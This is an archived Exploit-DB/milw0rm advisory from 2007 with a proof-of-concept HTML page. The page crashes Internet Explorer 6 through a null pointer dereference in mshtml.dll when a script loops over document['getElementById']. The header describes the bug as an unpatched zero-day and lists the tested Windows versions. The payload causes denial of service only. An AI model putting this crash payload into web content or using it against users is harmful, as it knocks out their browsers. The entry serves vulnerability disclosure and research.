Microsoft Internet Explorer 6 - 'mshtml.dll' Null Pointer Dereference

EDB-ID:

3272

Author:

AmesianX

Type:

dos

Platform:

Windows

Published:

2007-02-05

<!--
+ Title: Microsoft Internet Explorer Malformed HTML Null Pointer Dereference Vulnerability (mshtml.dll) (0-day)

+ Bug discovered & exploit coded by AmesianX in powerhacker.net (YoungHo Park - amesianx@gmail.com)

+ Critical: Critical
 
+ Impact: MS Internet Explorer 6 -> Crash (Denial of Service)
 
+ Where: From remote
 
+ Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language)
                                          Windows 2000 Advanced Server (Korean Language)
 
+ Tested Software: Microsoft Internet Explorer Ver.6.0.2800.1106;SP1 (Windows 2000 Advanced Server)
                            Microsoft Internet Explorer Ver.6.0.2900.2180.xpsp.050928-1517;SP2 (Windows XP Pro)
 
+ Solution: Not Patched (zero-day)
 
+ Description:
  The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched
  Windows XP SP2 system. this bug will crash when executing a 'for' scripts.

+ The following proof-of-concept is also available:
  http://www.powerhacker.net/exploit/IE_NULL_CRASH.html
-->

<html>
<head>
<title> AmesianX, RC_No1 in powerhacker.net (amesianx@gmail.com, RC_No1@gmail.com)</title>
</head>
<body>
<script language='javascript'>
var data = document['getElementById'];
for(var key in data);
</script>
</body>
</html>

# milw0rm.com [2007-02-05]